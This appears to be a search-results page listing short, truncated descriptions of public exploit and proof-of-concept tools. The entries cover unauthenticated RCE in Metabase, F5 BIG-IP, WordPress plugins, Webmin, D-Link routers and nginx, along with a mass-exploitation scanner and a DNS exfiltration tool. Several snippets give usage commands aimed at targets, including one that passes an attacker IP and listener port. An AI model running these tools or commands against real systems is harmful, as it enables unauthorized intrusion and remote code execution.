13283 matches found
cve-2020-0796-scanner
cve-2020-0796-scanner This project is base on SMBGhost which is used for scanning CVE-2020-0796 - SMBv3 RCE vulnerability. only add batch scanning function. Usage root@kitploit: python3 cve-2020-0796-scanner.py -t Workarounds root@kitploit: Set-ItemProperty -Path...
CVE-2023-38646-PoC
CVE-2023-38646 - Metabase Pre-auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...
CVE-2024-50629_50631
CVE-2024-5062950631 Pre-auth RCE N-day exploitation of Synology BeeStation. Detail: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 root@kitploit: $ python3 poc.py 192.168.88.248 192.168.88.254...
Collabfiltrator
Collabfiltrator Exfiltrate Blind Remote Code Execution and SQL injection output over DNS via Burp Collaborator. Version: 4.0.1 Authors: Adam Logue Jared McLaren Frank Scarpella Ryan Griffin AI Authors: Claude 3.5 Sonnet ChatGPT 4o Requirements: Burp Suite Professional 2024.12.1 or Later Support:...
nGixshell
nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics OWA - Ejecución remota de código no autenticada https://vulners.com/cve/CVE-2022-24637 Ejemplo root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...
CVE-2024-57376
CVE-2024-57376 Exploit de ejecución remota de código sin autenticación para D-Link DSR-250 y DSR-250N Aviso de seguridad: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Uso root@kitploit: $ python3 exploit.py usage: Ejemplo root@kitploit: $ python3 exploit.py...
cve-2018-12386
Exploit de RCE en Firefox Sandboxed CVE-2018-12386 Aquí hay un exploit simple para la vulnerabilidad CVE-2018-12386 encontrada por Niklas Baumstark, Samuel Groß y Bruno Keith. Esto es principalmente una PoC que hice por diversión, no hay bypass del sandbox y solo funcionará en una configuración...
cybersecurity-struts2
Apache Struts2 Vulnerability | CVE-2017-5638 | Version 2.5 Disclaimer This is meant for educational, and research purposes only. I do not authorize or endorse any illegal or unethical use of this projects contents or information Instructions To run the webapp: java -jar ms-cybersecurity-1.jar use...
CVE-2025-3515
CVE-2025-3515 - RCE por subida de archivos en WordPress Uso root@kitploit: python3 exploit.py Resumen CVE-2025-3515 es una vulnerabilidad de subida de archivos en el plugin de WordPress "Drag and Drop Multiple File Upload for Contact Form 7" que permite a atacantes no autenticados subir archivos...
CVE-2021-22986
CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF a RCE Uso: root@kitploit: python CVE-2021-22986.py...
CVE-2026-33017
CVE-2026-33017 — Langflow Unauthenticated RCE PoC Disclaimer This repository was created for security research and educational purposes only. Use it only in an isolated lab environment. Using it against unauthorized systems is a violation of the Information and Communications Network Act and is...
CVE-2021-22986
CVE-2021-22986 Esta vulnerabilidad permite a atacantes no autenticados con acceso a la interfaz iControl REST, a través de la interfaz de gestión de BIG-IP y las direcciones IP self, ejecutar comandos arbitrarios del sistema, crear o eliminar archivos y deshabilitar servicios. Esta vulnerabilidad...
CVE-2023-38646
Metabase Pre-Auth RCE POC - CVE-2023-38646 Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor. He escrito el script directamente para obtener una reverse shell en la máquina del atacante. U...
blackash-cve-2025-6389
🔥 CVE-2025-6389 — WordPress Zero-Day Crítico RCE wpvultheme 🧩 ¿Qué es? CVE-2025-6389 es una vulnerabilidad Crítica CVSS 9.8 en el plugin de WordPress Sneeit Framework ≤ 8.3, muy utilizado por temas populares. Permite ejecución remota de código sin autenticación — la clase más peligrosa de...
CVE-2025-34085-Multi-target
CVE-2025-34085 Escáner RCE Multiobjetivo Escáner de explotación masiva para CVE-2025-34085 — una vulnerabilidad de ejecución remota de código no autenticada en el plugin Simple File List de WordPress. Esta herramienta sube un payload PHP disfrazado como imagen, lo renombra mediante un motor de...
Spring4Shell-POC
Aplicación PoC de Spring4Shell Esta es una aplicación dockerizada que es vulnerable a la vulnerabilidad Spring4Shell CVE-2022-22965. Se proporciona el código fuente Java completo para el war y es modificable, el war se reconstruirá cada vez que se construya la imagen docker. El WAR construido ser...
CVE-2019-15107
CVE-2019-15107 Webmin RCE Error al cambiar la contraseña: La contraseña actual es incorrectauid=0root gid=0root groups=0root...
CVE-2026-66066
CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage + libvips arbitrary file read → conditional remote code execution RCE PoC tool. Single-file, Python 3.11+ pure standard library with zero dependencies , includes MAT/HDF5 hybrid payloads, a pure-Python PNG pixel decoder, offset reads,...